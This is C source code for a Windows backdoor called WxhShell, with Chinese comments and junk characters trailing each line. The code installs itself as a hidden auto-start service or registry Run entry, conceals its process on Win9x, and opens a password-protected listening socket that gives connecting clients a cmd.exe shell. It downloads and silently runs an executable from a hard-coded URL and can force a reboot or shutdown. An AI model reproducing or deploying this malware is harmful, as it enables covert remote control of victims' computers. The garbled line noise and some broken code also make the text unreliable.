    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @8jc|X<A  
    if(Boot(SHUTDOWN)) 2=[deQs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D#pZN,'  
    else { $X;wj5oj  
    closesocket(wsh); waYH_)Zx  
    ExitThread(0); dPtQ Sa  
    } 1;Q>B>6  
    break; AvxP0@.`  
    } :-.K.Ch|:  
  // 获取shell +kXj+2  
  case 's': { CL%+`c0  
    CmdShell(wsh); nG+L'SmI  
    closesocket(wsh); wRATe 0'  
    ExitThread(0); $zR[2{bg  
    break; &AS<2hB  
  } ER)<Twj  
  // 退出 P_Bhec|#fT  
  case 'x': { [&B}{6wry  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @=0O' XM  
    CloseIt(wsh); &M5_G$5n  
    break; 3!OO_  
    } MUeS8:q-N  
  // 离开 -y+u0,=p.  
  case 'q': { 6 pQbh*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2o\GU  
    closesocket(wsh); ENEnHu^  
    WSACleanup(); pEn3:.l<  
    exit(1); .0eHP  
    break; cfg_xrW0^  
        } w{HDCPuS  
  } NETji:d  
  } (K}Md~  
qOi3`6LCV  
  // 提示信息 4wa8Vw`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bktw?{h  
} tK$x=9M  
  } DKzP)!B "  
#G/ _FRo`  
  return; k\~A\UIYo  
} EXrOP]Kl  
AVx 0aj  
// shell模块句柄 yVP 1=pz_[  
int CmdShell(SOCKET sock) -H;%1y$A-  
{ C K{.Ic^  
STARTUPINFO si; x9Qa.Jmj  
ZeroMemory(&si,sizeof(si)); #3L=\j[ y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cHG>iW9C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ti)4J2c,8  
PROCESS_INFORMATION ProcessInfo; rf%NfU  
char cmdline[]="cmd"; .).*6{_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `c-(1 ;Jb  
  return 0; ~5f|L(ODX  
} QvF UFawN  
[8sL);pJO  
// 自身启动模式 X`QfOs#\  
int StartFromService(void)  B3Yj  
{ o3mxtE]  
typedef struct Ju~8C\Dd  
{ BwN>;g_  
  DWORD ExitStatus; gkN|3^  
  DWORD PebBaseAddress;  9kkYD  
  DWORD AffinityMask; GsG9;6c+u  
  DWORD BasePriority; R^i8AbFW  
  ULONG UniqueProcessId; NVFgRJ&  
  ULONG InheritedFromUniqueProcessId; 'aWzam>  
}   PROCESS_BASIC_INFORMATION; <<Fk[qMA  
wJ| wAS  
PROCNTQSIP NtQueryInformationProcess; B_B~Y8=3`  
SAa hkX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /wj L<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _DAAD,'<a  
F>F&+63Q-  
  HANDLE             hProcess; f17pwJ~=  
  PROCESS_BASIC_INFORMATION pbi; N8Mq0Ck{$  
%mda=%Yn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x7s75  
  if(NULL == hInst ) return 0; $jDp ^ -  
m>@$T x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CDz-IQi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n-cz xq%n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Xu1tN9:oE  
kdWk{ZT^  
  if (!NtQueryInformationProcess) return 0; x{B%TM-Ey  
">? y\#O A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -9 AI@^q  
  if(!hProcess) return 0; T]5JsrT  
ye9-%~sjX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $X%w9l e  
415 95x:  
  CloseHandle(hProcess); Jk.Ec )w  
xY/ S;dE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U 9?!|h;7  
if(hProcess==NULL) return 0; \mt0mv;c  
}b#KV?xgW  
HMODULE hMod; FuYV}C  
char procName[255]; R ks3L  
unsigned long cbNeeded; XZaei\rUn)  
C?FUc cI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #eqy!QdePf  
k^pf)*p  
  CloseHandle(hProcess); =9oN#4mWK  
7[l "=  
if(strstr(procName,"services")) return 1; // 以服务启动 Dl3Df u8  
~6nq$(#  
  return 0; // 注册表启动 ]i=\5FH e  
} >Ic)RPO9  
az(u=}  
// 主模块 <%(nF+rQA"  
int StartWxhshell(LPSTR lpCmdLine) F:8cd^d~u  
{ &}1PH% 6  
  SOCKET wsl; r+BPz%wM=O  
BOOL val=TRUE; & >AXB6  
  int port=0; BO b#9r  
  struct sockaddr_in door; Ny;(1N|&3  
&b 2Vt  
  if(wscfg.ws_autoins) Install(); (~r"N?`  
%} _{_Z  
port=atoi(lpCmdLine); o0>z6Ya<  
uC>X;<^   
if(port<=0) port=wscfg.ws_port; 5]WpH0kzO  
^n|u$gIF8  
  WSADATA data; _RFTm.9&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i0($@6Lh  
T(<C8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (R*K)(Nw[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3wEVjT-  
  door.sin_family = AF_INET; #:v e3gWl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *8zn\No<,  
  door.sin_port = htons(port); 7W[}7Y   
oEE*H2l\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !\a'GO[  
closesocket(wsl); 1{oq8LB  
return 1; p;dH[NW  
} r^ ?Qo  
h Znq\p~  
  if(listen(wsl,2) == INVALID_SOCKET) { AepAlnI@  
closesocket(wsl); 9S0I<<m  
return 1; r*K[,  
} lPh>8:qFM  
  Wxhshell(wsl); qV$\.T>x  
  WSACleanup(); fA u^%jiU  
-.|V S|y  
return 0; C?e1 a9r  
.0:t wj  
} [s-Km/  
Uhc2`r#q  
// 以NT服务方式启动 yWa-iHWC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y!SElKj  
{ Y"&&=M#  
DWORD   status = 0; -X~VXeg  
  DWORD   specificError = 0xfffffff; I3QK~ V*j)  
e9;<9uX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :,$:@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MfhJb_q`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a%"My;8  
  serviceStatus.dwWin32ExitCode     = 0; G J=<~S"  
  serviceStatus.dwServiceSpecificExitCode = 0; !5Ko^:+Y  
  serviceStatus.dwCheckPoint       = 0; W8Z&J18AU  
  serviceStatus.dwWaitHint       = 0; 8[SiIuIV  
[kx_Izi/T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2T &<jt  
  if (hServiceStatusHandle==0) return; vu[+UF\G  
4tTK5`7N  
status = GetLastError(); /sf:.TpVh  
  if (status!=NO_ERROR)  T|NNd1>  
{ 9FT;?~,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r5XG$:$8\  
    serviceStatus.dwCheckPoint       = 0; CwQgA%) !i  
    serviceStatus.dwWaitHint       = 0; d]0.6T1[K  
    serviceStatus.dwWin32ExitCode     = status; q;a`*gX^  
    serviceStatus.dwServiceSpecificExitCode = specificError; e%w>QN`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~y%8uHL:  
    return; KH)(xB=  
  } XUmL8  
klduJ T >  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SF2A?L?}+  
  serviceStatus.dwCheckPoint       = 0; q1sK:)Hu+  
  serviceStatus.dwWaitHint       = 0; .%7#o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @.f@N;z  
} A0sydUc  
Ep/4o< N(  
// 处理NT服务事件,比如:启动、停止 s5T$>+ a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M7 &u_Cn?  
{ E~5r8gM,0  
switch(fdwControl) .L[WvAo  
{ !8^:19+  
case SERVICE_CONTROL_STOP: je1f\N45  
  serviceStatus.dwWin32ExitCode = 0; *R.Q!L v+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TIbqUR  
  serviceStatus.dwCheckPoint   = 0; jW5n^Y)  
  serviceStatus.dwWaitHint     = 0; "$KU +?  
  { 76a+|TzR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vr<6j/ty  
  } $}0q=Lg%wv  
  return; 0S <;T+WA  
case SERVICE_CONTROL_PAUSE: FN5*pVD;<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O^v^GG=e;C  
  break; |Ui1Mm  
case SERVICE_CONTROL_CONTINUE: 4:-h\%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !uLW-[F,  
  break; JX,&im*BG  
case SERVICE_CONTROL_INTERROGATE: lwhAF, '$  
  break; iva&W  
}; ru,]!YPJE2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5;5;bBo~  
} mAh0xgm  
d?(#NP#;  
// 标准应用程序主函数 5inmFT?9Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q.H y"~  
{ ^'Wkb7L  
_ETG.SYq  
// 获取操作系统版本 A6Ttx{]  
OsIsNt=GetOsVer(); w*[i!i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9E^IEwq'  
`f`\j -Lu  
  // 从命令行安装 `An`"$z  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8FyJo.vr(  
E\Hhi.-  
  // 下载执行文件 {"l_x]q  
if(wscfg.ws_downexe) { Z.+-MNWV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZzPlIl}\  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9\RSJGx6  
} -M}#-qwf  
kxt@t#  
if(!OsIsNt) { GGk.-Ew@  
// 如果时win9x,隐藏进程并且设置为注册表启动 U.<';fKnT  
HideProc(); qy=4zOOD#  
StartWxhshell(lpCmdLine); hD!W&Er  
} U^SJWYi<Y  
else mMm_=cfv  
  if(StartFromService()) ~Emeo&X  
  // 以服务方式启动 3eQ-P8LS  
  StartServiceCtrlDispatcher(DispatchTable); Qrjo@_+w!  
else @ROMHMd}  
  // 普通方式启动 @0A7d $J(  
  StartWxhshell(lpCmdLine); @mBZu!,  
N*w/\|  
return 0; kFmd):U!R  
} %7 h _D  
<CIJ g*  
ko\VDyt,  
s@sRdoTdF  
=========================================== k"F5'Od  
 b=v  
mY?^]3-_  
{#N](yUm  
#UL:#pY  
22S4q`j  
" }I<r=?  
rLO1Sv  
#include <stdio.h> wjW>#DE  
#include <string.h> so}(*E&(a  
#include <windows.h> 6j{9\ R  
#include <winsock2.h> pMM,ox"  
#include <winsvc.h> f$$l,wo  
#include <urlmon.h> $}&Y$w>S  
]2\|<.  
#pragma comment (lib, "Ws2_32.lib") _]8FCO  
#pragma comment (lib, "urlmon.lib") j#d=V@=a  
{_QXx  
#define MAX_USER   100 // 最大客户端连接数 Gqq%q!k&1  
#define BUF_SOCK   200 // sock buffer aOWW ..|  
#define KEY_BUFF   255 // 输入 buffer j|"#S4IX)F  
|F z/9+I  
#define REBOOT     0   // 重启 fH? e9E4l  
#define SHUTDOWN   1   // 关机 ~*RG|4#  
]b!o(5m  
#define DEF_PORT   5000 // 监听端口 hN*,]Z{  
uu L"o  
#define REG_LEN     16   // 注册表键长度 c'nEbelE  
#define SVC_LEN     80   // NT服务名长度 /tI8JXcUK  
O@r%G0Jge  
// 从dll定义API UN#XP$utY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~pA_E!3W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dC8 $Ql^<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "!()yjy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =Tv|kJ| j  
"&*O7cs$pA  
// wxhshell配置信息 SskvxH+7  
struct WSCFG { f*KNt_|:  
  int ws_port;         // 监听端口 [:<CgU9C  
  char ws_passstr[REG_LEN]; // 口令 KM$L u2  
  int ws_autoins;       // 安装标记, 1=yes 0=no /NfuR$oMd  
  char ws_regname[REG_LEN]; // 注册表键名 }SYR)eE\  
  char ws_svcname[REG_LEN]; // 服务名 /.r|ron:e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |kJ'FZZd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =W'a6)WE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v3!oY t:l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'fO[f}oa_.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ik2y If5d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;0DT f  
3T^f#UT  
}; -N;$L~`iAt  
l&l&e OE  
// default Wxhshell configuration UFBggT\  
struct WSCFG wscfg={DEF_PORT, SV#$Cf g  
    "xuhuanlingzhe",  734)s  
    1, d_s=5+Yj  
    "Wxhshell", L+,p#w  
    "Wxhshell", %+gYZv-  
            "WxhShell Service", =Hplg>h)  
    "Wrsky Windows CmdShell Service", AsJN~<0h  
    "Please Input Your Password: ", I3`WY-uv  
  1, ax$ashFO/!  
  "http://www.wrsky.com/wxhshell.exe", ~< %%n'xmm  
  "Wxhshell.exe" l,j7I3&~%  
    }; KvENH=oh  
J'c]':U  
// 消息定义模块 u6^cLQO+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jp=z ^l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F]]1>w*/0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JDPn   
char *msg_ws_ext="\n\rExit."; V45A>#?U  
char *msg_ws_end="\n\rQuit."; ,aOi:aaZRT  
char *msg_ws_boot="\n\rReboot..."; j"6r]nc&  
char *msg_ws_poff="\n\rShutdown..."; o %GVg  
char *msg_ws_down="\n\rSave to "; 8,iBG! RF  
&Omo\Oq&W>  
char *msg_ws_err="\n\rErr!"; lz2B,#  
char *msg_ws_ok="\n\rOK!"; 3z7SK Gy  
nvY3$ Ty  
char ExeFile[MAX_PATH]; K8[vJ7(!|  
int nUser = 0; Y,BzBUWK  
HANDLE handles[MAX_USER]; ZL/iX~}a'  
int OsIsNt;  `{w.OK  
@@~OA>^  
SERVICE_STATUS       serviceStatus; j}9][Fm1*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {l$DNnS  
|R$V[  
// 函数声明 r}351S5(  
int Install(void); FW* k O  
int Uninstall(void); =rSJ6'2("  
int DownloadFile(char *sURL, SOCKET wsh); Ze+p;v  
int Boot(int flag); '}#=I 9=ss  
void HideProc(void); UrtA]pc3L  
int GetOsVer(void); *IBT!@*Q&  
int Wxhshell(SOCKET wsl); SSG57N-T  
void TalkWithClient(void *cs); fz/Ee1T\  
int CmdShell(SOCKET sock); Y%<y`]I  
int StartFromService(void); cbe&SxJ  
int StartWxhshell(LPSTR lpCmdLine); r7B.@+QK  
ToMvP B);  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .\Gl)W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g7\MFertR^  
|v,%!p s  
// 数据结构和表定义 9N1Uv,OtB  
SERVICE_TABLE_ENTRY DispatchTable[] = matW>D;J  
{ h-r\ 1{Q1]  
{wscfg.ws_svcname, NTServiceMain}, r{NCI  
{NULL, NULL} P5$d#Y(=  
}; $sF'Sr{)y  
\dvzL(,  
// 自我安装 BK>3rjXi>a  
int Install(void) %f[0&)1!.v  
{ B=dF\.&Z  
  char svExeFile[MAX_PATH]; ]b5E_/P  
  HKEY key; eCejO59F9  
  strcpy(svExeFile,ExeFile); iCd$gwA>F  
Pw c)u&  
// 如果是win9x系统,修改注册表设为自启动 GD(gm, ,)  
if(!OsIsNt) { F)fCj^ zL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _:dt8+T#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =QdHji/sB  
  RegCloseKey(key); 3=YK" 5J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q8DSKi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,uz+/K%OA5  
  RegCloseKey(key); /G[2   
  return 0; nV`n=x  
    } DX3xWdnr  
  } =AaTn::e/  
} }ACWSkWK  
else { (!'=?B "  
m@(8-_  
// 如果是NT以上系统,安装为系统服务 |#OMrP+oi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sA^_I6>M"  
if (schSCManager!=0) j&6O 1  
{ 0 0JH*I  
  SC_HANDLE schService = CreateService .T!R&#]n  
  ( ".0~@W0  
  schSCManager, ^7b[s pqE  
  wscfg.ws_svcname, $a / jfpV  
  wscfg.ws_svcdisp, Oe#*-  
  SERVICE_ALL_ACCESS, (29h{=P'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qH 1k  
  SERVICE_AUTO_START, a4a/]q4T  
  SERVICE_ERROR_NORMAL, <]: X  
  svExeFile, %w9/ gD  
  NULL, Z"ce1cB  
  NULL, k[_)5@2  
  NULL, vI84= n  
  NULL, o<1a]M|  
  NULL 7E0L-E=.  
  ); ajr);xd  
  if (schService!=0) _ ^ JhncL  
  { K;ncviGu  
  CloseServiceHandle(schService); [u?*' c{  
  CloseServiceHandle(schSCManager); cx+w_D9b!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tccw0  
  strcat(svExeFile,wscfg.ws_svcname); QmHj=s:x\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V1yY>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yM_ta '^$  
  RegCloseKey(key); v@xbur\L  
  return 0; nky%Eb[\  
    } s)dL^lj;  
  } So6ZNh9  
  CloseServiceHandle(schSCManager); b\Wlpb=QZ  
} j<*  
} c@|!0 U%j  
k 4HE'WY  
return 1; ,Wbr; zb  
} 9` a1xnL  
Q4H(JD1f)  
// 自我卸载 h4iz(*  
int Uninstall(void) Y5dt/8Jo  
{ \OzPDN  
  HKEY key; ,0pCc<  
 }q$6^y  
if(!OsIsNt) { OuZPgN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {fd/:B 7T  
  RegDeleteValue(key,wscfg.ws_regname); Z 91{*?  
  RegCloseKey(key);  L- '{   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k vu SE  
  RegDeleteValue(key,wscfg.ws_regname); pq T+lai)#  
  RegCloseKey(key); ]3KMFV}  
  return 0; hRU5CH/!  
  } v47S9Vm+  
} V(6*wQ`&  
} sxK|0i}6  
else { tyI !y~-z  
$`a>y jma  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eb ` !  
if (schSCManager!=0) Rfx}[!<{N  
{ c>$PLO^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n%Rl$  
  if (schService!=0) {0(:5%  
  { )'1rZb5  
  if(DeleteService(schService)!=0) { 1H-d<G0)  
  CloseServiceHandle(schService); n)<S5P?  
  CloseServiceHandle(schSCManager); uY_vX\;67z  
  return 0; nt:d,H<p  
  } @H83Ad  
  CloseServiceHandle(schService); bb4 `s0  
  }  %"jp':  
  CloseServiceHandle(schSCManager); [X&VxTxr  
} Lu][0+-  
} lSG"c+iV  
\jpm   
return 1; _\ &N<  
} .%"s| D  
hI#1Ybl  
// 从指定url下载文件 }x~1w:z Hd  
int DownloadFile(char *sURL, SOCKET wsh)  Lw1aG;5  
{ /cXVJ(#j  
  HRESULT hr; {CaTu5\  
char seps[]= "/"; ZzO^IZKlC  
char *token; (DnrJ.QU}t  
char *file; VpO+52&  
char myURL[MAX_PATH]; ! N!A%  
char myFILE[MAX_PATH]; j3Yz=bsQ{c  
;1MRBk,  
strcpy(myURL,sURL); |19zjhl  
  token=strtok(myURL,seps); C f(g  
  while(token!=NULL) c$fYK  
  { lP;X=X>  
    file=token; =>m x>R`S  
  token=strtok(NULL,seps); /\wm/Yx?S  
  } #,5v#| u|7  
>D5WAQ>b  
GetCurrentDirectory(MAX_PATH,myFILE); |=rb#z&  
strcat(myFILE, "\\"); 3;'RF#VL  
strcat(myFILE, file); DGJt$o=&@  
  send(wsh,myFILE,strlen(myFILE),0); |Bhj L,  
send(wsh,"...",3,0); 05ZF>`g*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8WP|cF]  
  if(hr==S_OK) pIhy3@bY  
return 0; ?l/+*/AR;  
else W1\F-:4L@  
return 1; &_o.:SL|  
tj1M1s|a  
} Nu[0X  
&a9Y4~e::  
// 系统电源模块 3*C|"|lJ  
int Boot(int flag) 5faY{;8  
{ v*lj>)L  
  HANDLE hToken; Z1Pdnc7S[  
  TOKEN_PRIVILEGES tkp; *p.70,5,  
JW2~ G!@  
  if(OsIsNt) { #\T5r*W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p 02E:?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tPz!C&.=  
    tkp.PrivilegeCount = 1; 9NEL[J|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nsjrzO79L8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2_C&p6VGj  
if(flag==REBOOT) { A>B_~=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \1f&D!F]b  
  return 0; =}1m.  
} OaF[t*]D3  
else { s;Sv@=\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EHlkt,h*  
  return 0; !g2 ~|G  
} LQ{z}Ay  
  } qgkC)  
  else { g+pj1ycw/  
if(flag==REBOOT) { ,b'QL6>`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )2&y;{]  
  return 0; 6483v'  
} ~&%&Z  
else { )Rj,PF-9Z[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y q(CD!  
  return 0; 8h$f6JE  
} 7blo<|9  
} 4iC=+YUn  
E%e2$KfD  
return 1; kNC]q,ljt5  
} aQ#6PO7.Z  
{Q/_I@m].  
// win9x进程隐藏模块 ( SiwO.TZ  
void HideProc(void) 4<<T#oW.:G  
{ ;vp[J&=  
q'CtfmI`r=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yr[HuwU  
  if ( hKernel != NULL ) jA,| .P>  
  { %Q.|qyq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )mh,F# "L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Nu4PY@m]C  
    FreeLibrary(hKernel); Kq&JvY^  
  } 3v,Bg4[i  
+et)!2N  
return; f~Ve7   
} >,A&(\rO  
e;r?g67  
// 获取操作系统版本 D&/~lhyNZ  
int GetOsVer(void) sV$Zf `X)  
{ lCxPR'C|  
  OSVERSIONINFO winfo; 4VI'd|Ed  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a<Ksas'5S  
  GetVersionEx(&winfo); =2R0 g2n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ",>,t_J  
  return 1; CU_8 `}  
  else 2|:x_rcj  
  return 0; K['Gp>l  
} nmy!.0SQ-  
GSaU:A  
// 客户端句柄模块 ~(Xzm  
int Wxhshell(SOCKET wsl) V:>ZSW4,^  
{ Q)%a2s;  
  SOCKET wsh; |N+uEiJ  
  struct sockaddr_in client; 35 3*D%8  
  DWORD myID; OqlP_^Zz7p  
BQF7S<O+  
  while(nUser<MAX_USER) "iPX>{'En  
{ [e?vqm .  
  int nSize=sizeof(client); y#?AW`|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6[S-%|f  
  if(wsh==INVALID_SOCKET) return 1; 2y#[uSqB  
M0Vs9K=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ns5'K^  
if(handles[nUser]==0) S E0&CV4  
  closesocket(wsh); ]v|n'D-?  
else V4tObZP3Ff  
  nUser++; AB[#  
  } K/IG6s;Xj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  zPW_  
QvvH/u  
  return 0; p8|u0/;k  
} g;._Q   
C~q&  
// 关闭 socket c]>LL(R-7)  
void CloseIt(SOCKET wsh) #8sv*8&  
{ B4{clI_i  
closesocket(wsh); Q zq3{%^x_  
nUser--; O0=}: HM  
ExitThread(0); Fh U*mAX)  
} WLA LXJ7  
atYe$Db  
// 客户端请求句柄 m=Fk  
void TalkWithClient(void *cs) #J|DW C!#d  
{ [z> Ya-uz7  
jQ&82X%m  
  SOCKET wsh=(SOCKET)cs; Msl8o c  
  char pwd[SVC_LEN]; VB&`g<  
  char cmd[KEY_BUFF]; >8=rD  
char chr[1]; ,); -v4$  
int i,j; F_z1ey`t  
*di}rQHm  
  while (nUser < MAX_USER) { CI+@G XY  
-YJ4-]Z  
if(wscfg.ws_passstr) { b1Fd]4H3P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U_61y;Q"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \+VQoB/  
  //ZeroMemory(pwd,KEY_BUFF); =VvQ 2Y0h8  
      i=0; #-9@*FFL,  
  while(i<SVC_LEN) { T[+~-D @  
["ML&2|o  
  // 设置超时 9ELRn@5.  
  fd_set FdRead; .V.ga2+  
  struct timeval TimeOut; M\6u4p!G!  
  FD_ZERO(&FdRead); -EIfuh  
  FD_SET(wsh,&FdRead); a1 .+L  
  TimeOut.tv_sec=8; LR Dj!{k{  
  TimeOut.tv_usec=0; N)Qz:o0W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +p):   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !bQqzny$R  
CA5q(ID_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X3l? YA  
  pwd=chr[0]; '-NHu +  
  if(chr[0]==0xd || chr[0]==0xa) { Y2>0Y3yM  
  pwd=0; e%EE|  
  break; IZ 3e:  
  } eiwPp9[08  
  i++; *Vr;rk  
    } ) ={ H  
+~f5dJyk`  
  // 如果是非法用户,关闭 socket 1YJ@9*l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I_3{i`g  
} >@uFye$  
B0$.oavC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k.Q4oyei  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6y   
/\ u1q<  
while(1) { 8G?OZ47k#  
xn,I<dL39  
  ZeroMemory(cmd,KEY_BUFF); jrZH1dvE  
8c5%~}kG  
      // 自动支持客户端 telnet标准   U~s-'-C /  
  j=0; +?bjP6w_g  
  while(j<KEY_BUFF) { -$tf`   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WNWtQ2]  
  cmd[j]=chr[0]; &LDA=B  
  if(chr[0]==0xa || chr[0]==0xd) { &7Lg) PG  
  cmd[j]=0; BZ}_  
  break; &.)ST0b4  
  } H#FH '@J  
  j++; \oy8)o/Gb  
    } l$J2|\M6  
8rpr10;U  
  // 下载文件 TT3\c,cs  
  if(strstr(cmd,"http://")) { 3&"+)*/ m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #!R=h|  
  if(DownloadFile(cmd,wsh)) 3iBUIv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;noZmPa  
  else Lu9`(+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J[jzkzSu`  
  } -Ta| qQa  
